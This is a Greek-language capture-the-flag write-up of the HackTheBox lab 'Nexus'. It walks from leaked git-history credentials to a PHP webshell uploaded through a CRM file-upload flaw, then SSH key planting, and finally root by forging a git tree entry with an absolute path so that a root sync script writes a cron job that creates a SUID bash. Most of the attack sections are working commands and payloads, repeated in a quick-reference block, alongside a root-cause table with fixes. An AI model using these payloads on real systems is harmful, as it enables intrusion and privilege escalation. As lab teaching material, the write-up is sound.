Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Nexus

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το Nexus είναι μια αλυσίδα μικρών διαρροών που αθροίζονται. Μια σάρωση vhost αναδεικνύει ένα instance Gitea και ένα billing portal Krayin CRM. Το Gitea φιλοξενεί ένα repo krayin-docker-setup του οποίου η πρώτη commit ακόμα περιέχει ένα password στο .env — επαναχρησιμοποιημένο για τον admin CRM. Το Krayin 2.2.0 είναι ευάλωτο στο CVE-2026-38526, ένα authenticated upload TinyMCE χωρίς έλεγχο τύπου, οπότε ένα webshell PHP προσγειώνεται σε έναν φάκελο web-served και δίνει www-data. Ένα δεύτερο .env στον δίσκο αποδίδει ακόμα ένα επαναχρησιμοποιημένο password — SSH σαν jones. Το βήμα root είναι το ενδιαφέρον: ένα script "template sync" που τρέχει σαν root τραβάει αρχεία από template repos Gitea και γράφει κάθε blob στο os.path.join(staging, filepath), όπου το filepath είναι το όνομα tree entry του git. Το Git κανονικά αρνείται paths ../ και με αρχικό slash — αλλά μπορείς να πλαστογραφήσεις με το χέρι ένα tree object του οποίου το όνομα entry είναι ένα απόλυτο path, και το os.path.join πετάει το prefix staging τη στιγμή που βλέπει ένα αρχικό /. Αυτό είναι ένα αυθαίρετο root file-write, που γίνεται ένα cronjob και ένα shell root. Όλα οδηγημένα από macOS.
vhost fuzz → Gitea .env leak → Krayin CVE-2026-38526 → www-data → .env → SSH jones → git tree-path write → root

Αναγνώριση

Δύο θύρες, και το web root ανακατευθύνει σε ένα hostname — μια ένδειξη να ξεκινήσεις κάνοντας fuzz vhosts, όχι paths.

nmap
$ nmap -Pn -sV -p- --min-rate 2000 <IP> 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 80/tcp open http nginx 1.24.0 (Ubuntu) # redirects to http://nexus.htb/

Το κύριο site είναι στατικό — το μόνο αξιοσημείωτο είναι ένα email, j.matthew@nexus.htb, σε ένα τμήμα careers. Το brute-forcing φακέλων δεν βρίσκει τίποτα, οπότε κάνε pivot σε ανακάλυψη virtual-host με ffuf, φιλτράροντας το default μέγεθος απάντησης:

ffuf — vhost fuzzing
$ ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" \ -w dns-Jhaddix.txt -fs 154 billing [Status: 302, Size: 390] git [Status: 200, Size: 14472]

Πρόσθεσε nexus.htb, billing.nexus.htb και git.nexus.htb στο /etc/hosts (ή οδήγησε τα πάντα με curl -H "Host: …", που είναι αυτό που έκανα για να κρατήσω τα πράγματα scriptable).

Gitea — ένα password στην πρώτη commit

Το git.nexus.htb είναι ένα instance Gitea με ένα δημόσιο repo, το admin/krayin-docker-setup. Το API του Gitea κάνει το περπάτημα στο commit history τετριμμένο χωρίς browser:

enumerate repo + commits (API)
$ curl -s -H "Host: git.nexus.htb" \ "http://<IP>/api/v1/repos/admin/krayin-docker-setup/commits" | jq -r '.[].sha' 9b817fa4… # latest 1615c465… # initial

Το .env στο HEAD έχει ένα άδειο DB_PASSWORD — αλλά secrets που έχουν γίνει commit μία φορά δεν εξαφανίζονται όταν επεξεργάζεσαι το αρχείο, απλά μετακινούνται κάτω στο history. Το να τραβήξεις το .env στην αρχική commit λέει μια διαφορετική ιστορία:

.env at the first commit
$ curl -s -H "Host: git.nexus.htb" \ "http://<IP>/admin/krayin-docker-setup/raw/commit/1615c465…/.env" | grep -i pass DB_PASSWORD=N27xh!!2ucY04

Krayin CRM — CVE-2026-38526 → www-data

Το billing.nexus.htb είναι ένα login admin Krayin CRM. Το email από τη σελίδα careers συν το διαρρεύσαν password μας βάζουν μέσα — το login του Laravel χρειάζεται απλά ένα έγκυρο _token τραβηγμένο πρώτα από τη φόρμα login:

authenticate to Krayin
$ curl -s -c cj -H "Host: billing.nexus.htb" http://<IP>/admin/login # grab _token + cookie $ curl -s -b cj -c cj -H "Host: billing.nexus.htb" -D - -o /dev/null \ --data-urlencode "_token=$TOKEN" \ --data-urlencode "email=j.matthew@nexus.htb" \ --data-urlencode "password=N27xh!!2ucY04" http://<IP>/admin/login HTTP/1.1 302 Found Location: http://billing.nexus.htb/admin/dashboard

Η έκδοση (2.2.0, φαίνεται κάτω από το μενού profile) είναι ευάλωτη στο CVE-2026-38526 — το endpoint /admin/tinymce/upload δεν κάνει καμία server-side validation τύπου ή επέκτασης, και γράφει μέσα στο web-served /storage/tinymce/. Οπότε ένας authenticated χρήστης μπορεί να ανεβάσει ένα αρχείο .php (κάνοντας spoof ένα MIME εικόνας για να φαίνεται φυσιολογικό) και μετά να το εκτελέσει με ένα απλό GET. Αντί για το reverse shell του δημόσιου PoC, ανέβασα ένα μικρό scriptable webshell — κανένα listener να προσέχω:

upload webshell → RCE
$ printf '<?php system($_GET["c"]); ?>' > sh.php $ curl -s -b cj -H "Host: billing.nexus.htb" -H "X-CSRF-TOKEN: $TOKEN" \ -F "_token=$TOKEN" -F "file=@sh.php;filename=sh.php;type=image/png" \ http://<IP>/admin/tinymce/upload {"location":"http:\/\/billing.nexus.htb\/storage\/tinymce\/1b9c0b4a….php"} $ curl -s -H "Host: billing.nexus.htb" "http://<IP>/storage/tinymce/1b9c0b4a….php?c=id" uid=33(www-data) gid=33(www-data) groups=33(www-data)

Πλάγιο — ένα δεύτερο .env → SSH σαν jones

Το /etc/passwd δείχνει έναν πραγματικό χρήστη, τον jones, του οποίου το home δεν μπορούμε να διαβάσουμε σαν www-data. Αλλά η deployed εφαρμογή κουβαλά το δικό της ζωντανό .env, και κρατά ένα διαφορετικό password από αυτό στο git:

read the on-disk .env
$ curl -s -H "Host: billing.nexus.htb" \ "http://<IP>/storage/tinymce/1b9c0b4a….php?c=grep+PASS+/var/www/krayin/.env" DB_PASSWORD=y27xb3ha!!74GbR

Η επαναχρησιμοποίηση password κάνει τα υπόλοιπα — εκείνη η τιμή είναι το password SSH του jones. Πρώτο πράγμα μόλις μπεις, φύτεψε ένα κλειδί SSH ώστε το foothold να είναι ένα σταθερό ssh -i αντί για ένα εύθραυστο session:

SSH + user.txt
$ sshpass -p 'y27xb3ha!!74GbR' ssh jones@<IP> \ "mkdir -p ~/.ssh; echo '$(cat key.pub)' >> ~/.ssh/authorized_keys" $ ssh -i key jones@<IP> 'id; cat ~/user.txt' uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users) [redacted — user flag]

Root — κατάχρηση paths git tree-entry σε ένα script sync root

Χωρίς sudo για τον jones. Το στοιχείο είναι στο /etc/systemd/system: ένα timer πυροδοτεί ένα oneshot root κάθε λεπτό.

the root timer
$ cat /etc/systemd/system/gitea-template-sync.service [Service] Type=oneshot User=root ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py # + a .timer, every 1 min

Το script (world-readable) κάνει query το Gitea για κάθε repo σημασμένο σαν template, μετά για το καθένα τρέχει git ls-tree -r HEAD πάνω στο bare repo και αντιγράφει κάθε blob σε έναν φάκελο staging. Ορίστε όλη η ευπάθεια, σε τρεις γραμμές:

template-sync.py (excerpt)
stage_path = os.path.join(STAGING_DIR, owner, name) ... for mode, objhash, filepath in entries: # filepath = git tree-entry name target = os.path.join(stage_path, filepath) ... with open(target, 'wb') as f: # written as ROOT f.write(cat_result.stdout)

Το filepath ελέγχεται από τον επιτιθέμενο — είναι όποιο όνομα κουβαλά ένα tree entry — και ρέει κατευθείαν μέσα στο os.path.join. Η ιδιαιτερότητα που το κάνει μοιραίο:

os.path.join and a leading slash
>>> os.path.join('/home/git/staging/jones/pwn', 'a/b.txt') '/home/git/staging/jones/pwn/a/b.txt' >>> os.path.join('/home/git/staging/jones/pwn', '/etc/cron.d/pwncron') '/etc/cron.d/pwncron' # absolute component discards the prefix

Οπότε αν μπορέσω να αποκτήσω ένα tree entry του οποίου το όνομα είναι /etc/cron.d/pwncron, η διαδικασία root γράφει το αρχείο μου κατευθείαν στο /etc/cron.d. Το εμπόδιο είναι ότι το plumbing του Git (και οι έλεγχοι push του Gitea) απορρίπτουν κανονικά paths ../ και με αρχικό slash. Ο τρόπος να περάσεις είναι να πλαστογραφήσεις τα αντικείμενα git με το χέρι — χτίσε ένα ωμό tree object του οποίου το όνομα entry είναι το απόλυτο path, χρησιμοποιώντας hash-object --literally, που παρακάμπτει τους ελέγχους λογικής:

forge the malicious tree + commit
# payload the root cron will run: SUID-copy bash $ printf '* * * * * root /tmp/.copybash.sh\n' > cronfile $ BLOB=$(git hash-object -w --stdin < cronfile) # a tree entry: mode 100644, NAME = an absolute path, pointing at that blob $ PH=$(echo -n "$BLOB" | xxd -r -p) # 20 raw bytes of the hash $ TREE=$(printf '100644 /etc/cron.d/pwncron\0%s' "$PH" \ | git hash-object -w -t tree --literally --stdin) $ COMMIT=$(git commit-tree "$TREE" -m pwn) $ git update-ref refs/heads/main "$COMMIT"; git ls-tree -r HEAD 100644 blob … /etc/cron.d/pwncron

Τώρα δημιούργησε ένα repo σαν jones, σήμανέ το template (αυτή είναι η σημαία που φιλτράρει το script sync), και κάνε push το πλαστογραφημένο history. Το /tmp/.copybash.sh που αναφέρει το cron απλά αντιγράφει το bash και ορίζει το bit SUID:

stage payload, create template repo, push
$ printf '#!/bin/bash\ncp /bin/bash /tmp/.rootbash\nchmod 4755 /tmp/.rootbash\n' \ > /tmp/.copybash.sh; chmod a+rx /tmp/.copybash.sh $ curl -su jones:$PW -X POST localhost:3000/api/v1/user/repos -d '{"name":"pwn"}' $ curl -su jones:$PW -X PATCH localhost:3000/api/v1/repos/jones/pwn -d '{"template":true}' $ git push -f http://jones:$PW@localhost:3000/jones/pwn.git main

Μέσα σε ένα λεπτό το timer root κάνει sync το "template", το os.path.join κάνει resolve το όνομα entry σε /etc/cron.d/pwncron, και ο root το γράφει. Το cron τρέχει το αντίγραφο SUID, και το bash -p κρατά το EUID root:

root.txt
$ tail -2 /var/log/template-sync.log […] synced: /etc/cron.d/pwncron […] Template sync complete $ ls -l /tmp/.rootbash -rwsr-xr-x 1 root root 1446024 /tmp/.rootbash $ /tmp/.rootbash -p -c 'id; cat /root/root.txt' uid=1000(jones) gid=1000(jones) euid=0(root) [redacted — root flag]
Το bug δεν είναι το os.path.join — είναι το να εμπιστεύεσαι ένα filename από μη έμπιστη πηγή σαν στόχο εγγραφής. Ένα όνομα tree entry git είναι δεδομένα επιτιθέμενου· το να το ταΐσεις σε ένα path join που ένα αρχικό slash μπορεί να καταλάβει μετατρέπει το "κάνε sync κάποια αρχεία template" σε αυθαίρετο root file-write. Δύο ανεξάρτητοι φρουροί θα το είχαν σταματήσει ο καθένας: ένωση μόνο με το basename (ή απόρριψη absolute/.. components μετά την ένωση), και το να τρέχεις το sync σαν unprivileged service account αντί για root.

Γιατί Δούλεψε

ΣταδιοΡιζα του προβληματος
→ git .envSecret κάνει commit στο version control· το scrubbing του HEAD το αφήνει στο history (CWE-538 / CWE-312)
→ admin KrayinΕπαναχρησιμοποίηση password ανάμεσα στο config DB και τον λογαριασμό admin CRM (CWE-521 / CWE-798)
→ www-dataCVE-2026-38526 — unrestricted file upload, χωρίς έλεγχο τύπου/επέκτασης, μέσα σε web-served φάκελο (CWE-434)
→ jonesΈνα ακόμα επαναχρησιμοποιημένο password που κάθεται στο .env της deployed εφαρμογής (CWE-522)
→ rootΤο sync root γράφει σε ένα μη έμπιστο path git tree-entry· ένα απόλυτο path ξεφεύγει από τον φάκελο staging (CWE-22 / CWE-250)

Σημειώσεις operator — από macOS

Βασικές εντολές

quick reference
# 1. vhosts → git + billing ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" -w dns-Jhaddix.txt -fs 154 # 2. password από το .env της ΠΡΩΤΗΣ commit (όχι HEAD) curl -s -H "Host: git.nexus.htb" "http://<IP>/admin/krayin-docker-setup/raw/commit/<first-sha>/.env" # 3. Krayin CVE-2026-38526: authed upload TinyMCE → webshell curl -b cj -H "Host: billing.nexus.htb" -H "X-CSRF-TOKEN: $T" -F "_token=$T" -F "file=@sh.php;type=image/png" http://<IP>/admin/tinymce/upload # 4. .env στον δίσκο → SSH σαν jones (user.txt) curl -H "Host: billing.nexus.htb" "http://<IP>/storage/tinymce/<hash>.php?c=grep+PASS+/var/www/krayin/.env" # 5. root: πλαστογράφησε git tree απόλυτου-path → root cron μέσω template-sync BLOB=$(git hash-object -w --stdin < cronfile) TREE=$(printf '100644 /etc/cron.d/pwncron\0%s' "$(echo -n $BLOB|xxd -r -p)" | git hash-object -w -t tree --literally --stdin) git commit-tree $TREE -m x | xargs -I{} git update-ref refs/heads/main {} curl -su jones:$PW -X PATCH localhost:3000/api/v1/repos/jones/pwn -d '{"template":true}'; git push -f http://jones:$PW@localhost:3000/jones/pwn.git main /tmp/.rootbash -p -c 'cat /root/root.txt'
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗